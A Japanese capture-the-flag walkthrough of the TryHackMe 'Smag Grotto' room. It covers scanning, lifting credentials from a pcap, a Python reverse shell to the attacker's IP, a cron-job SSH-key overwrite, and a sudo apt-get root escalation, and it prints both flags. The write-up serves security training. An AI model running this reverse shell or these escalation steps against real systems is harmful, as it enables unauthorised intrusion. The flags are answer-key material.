【TryHackMe】Smag Grotto：Walkthrough

# 概要

TryHackMe「Smag Grotto」のWalkthroughです。

https://tryhackme.com/r/room/smaggrotto

# Task1

## **Q1**.*What is the user flag?*

ポートスキャンを実行します。

```
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.237.122 -oN nmap_result
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 74:e0:e1:b4:05:85:6a:15:68:7e:16:da:f2:c7:6b:ee (RSA)
|   256 bd:43:62:b9:a1:86:51:36:f8:c7:df:f9:0f:63:8f:a3 (ECDSA)
|_  256 f9:e7:da:07:8f:10:af:97:0b:32:87:c9:32:d7:1b:76 (ED25519)
80/tcp    open     http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Smag
|_http-server-header: Apache/2.4.18 (Ubuntu)
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 7.2p2|
|80|http|Apache httpd 2.4.18|

ディレクトリを列挙を行います。

```
$ dirsearch -u http://10.10.195.154
[08:12:30] 200 -  907B  - /mail/
[08:12:30] 301 -  313B  - /mail  ->  http://10.10.195.154/mail/
```

`/mail`にアクセスするとメールのやり取り、`pcap`添付ファイルと、コメントアウトでBccに設定されたメールアドレスを発見しました。

![mail.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d84713a1-65b6-4c46-6965-75089ac263bd.jpeg)

![mail comment.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9c9d551f-d31f-1389-1261-174657c55ef8.jpeg)

`pcap`添付ファイルをwiresharkで見るとhttp POSTデータからユーザー名とパスワードを得られました。

![pcap post data.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/42556ac3-d61c-fddf-870b-e9b057b55afc.jpeg)

POSTリクエストの`Full request URI`を見ると`http://development.smag.thm/login.php`を指していると分かります。

![full request uri.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c3cabbaf-6898-3bad-fc13-e6824794a252.jpeg)

`/etc/hosts`にレコードを追記します。

```
10.10.195.154   smg.thm development.smag.thm
```

`development.smag.thm/login.php`へアクセスするとログインフォームが表示されました。

![login php.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f1dfff35-f1a1-05b2-e15e-89049c58d78d.jpeg)

先ほどpcapから入手した`Username: helpdesk`,`Password: cH4nG3M3_n0w`でログインします。

![admin php.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/deaa0881-073d-4770-fbef-e1c89d4e9cd8.jpeg)

コマンドを実行できそうです。
試しに`ping`でターゲットマシンからKaliへの通信を試みると成功しました。

```
$ sudo tcpdump -i tun0 icmp
09:20:09.089471 IP smg.thm > 10.6.55.144: ICMP echo request, id 1301, seq 1, length 64
09:20:09.089481 IP 10.6.55.144 > smg.thm: ICMP echo reply, id 1301, seq 1, length 64
```

下記サイトからリバースシェルのペイロードを作成します。

https://www.revshells.com/

```
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.55.144",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
```

`www-data`のシェルを取得できました。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.195.154] 39358
www-data@smag:/var/www/development.smag.thm$
```

`/home/jake/user.txt`を発見しましたが、権限がないので`jake`アカウントへの昇格を試みます。

```
www-data@smag:/home/jake$ cat user.txt
cat user.txt
cat: user.txt: Permission denied
```

`/etc/crontab`でクロンジョブを確認するとジョブを一つ発見しました。

```
*  *    * * *   root    /bin/cat /opt/.backups/jake_id_rsa.pub.backup > /home/jake/.ssh/authorized_keys
```

`/opt/.backups/jake_id_rsa.pub.backup`の内容を`/home/jake/.ssh/authorized_keys`に上書きしています。

`/opt/.backups/jake_id_rsa.pub.backup`には`jake`の公開鍵があり、読み取り、編集権限があります。

```
$ cat /opt/.backups/jake_id_rsa.pub.backup
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5HGAnm2nNgzDW9OPAZ9dP0tZbvNrIJWa/swbWX1dogZPCFYn8Ys3P7oNPyzXS6ku72pviGs5kQsxNWpPY94bt2zvd1J6tBw5g64ox3BhCG4cUvuI5zEi7y+xnIiTs5/MoF/gjQ2IdNDdvMs/hDj4wc2x8TFLPlCmR1b/uHydkuvdtw9WzZN1O+Ax3yEkMfB8fO3F7UqN2798wBPpRNNysQ+59zIUbV9kJpvARBILjIupikOsTs8FMMp2Um6aSpFKWzt15na0vou0riNXDTgt6WtPYxmtv1AHE4VdD6xFJrM5CGffGbYEQjvJoFX2+vSOCDEFZw1SjuajykOaEOfheuY96Ao3f41m2Sn7Y9XiDt1UP4/Ws+kxfpX2mN69+jsPYmIKY72MSSm27nWG3jRgvPZsFgFyE00ZTP5dtrmoNf0CbzQBriJUa596XEsSOMmcjgoVgQUIr+WYNGWXgpH8G+ipFP/5whaJiqPIfPfvEHbT4m5ZsSaXuDmKercFeRDs= kali@kali
$ ls -l /opt/.backups/jake_id_rsa.pub.backup
ls -l /opt/.backups/jake_id_rsa.pub.backup
-rw-rw-rw- 1 root root 563 Jun  5  2020 /opt/.backups/jake_id_rsa.pub.backup
```

`/opt/.backups/jake_id_rsa.pub.backup`をKaliの公開鍵に置き換えます。
これでクロンジョブにより`/home/jake/.ssh/authorized_keys`にKaliの公開鍵がコピーされ、SSHで対応する秘密鍵を使用してログインできるようになります。

```
$ echo "<kali public key>" > /opt/.backups/jake_id_rsa.pub.backup
```

SSHで`jake`アカウントへログインします。

```
$ ssh jake@10.10.195.154
Enter passphrase for key '/home/kali/.ssh/id_ed25519':
jake@smag:~$ 
```

`/home/jake/user.txt`からフラグを入手できます。

```/home/jake/user.txt
iusGorV7EbmxM5AuIe2w499msaSuqU3j
```

**A**.**iusGorV7EbmxM5AuIe2w499msaSuqU3j**

## **Q2**.*What is the root flag?*

`sudo -l`で確認します。

```
$ sudo -l
Matching Defaults entries for jake on smag:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jake may run the following commands on smag:
    (ALL : ALL) NOPASSWD: /usr/bin/apt-get
```

`/usr/bin/apt-get`が実行可能だと分かりました。
権限昇格の脆弱性を調べます。

https://gtfobins.github.io/gtfobins/apt-get/#sudo

サイト通りに実行し、root権限の取得に成功しました。

```
$ sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
# whoami
root
```

rootフラグを探します。

```
# find / -name *root.txt* 2>/dev/null
/root/root.txt
```

`/root/root.txt`からフラグを入手できます。

```/root/root.txt 
uJr6zRgetaniyHVRqqL58uRasybBKz2T
```

**A**.**uJr6zRgetaniyHVRqqL58uRasybBKz2T**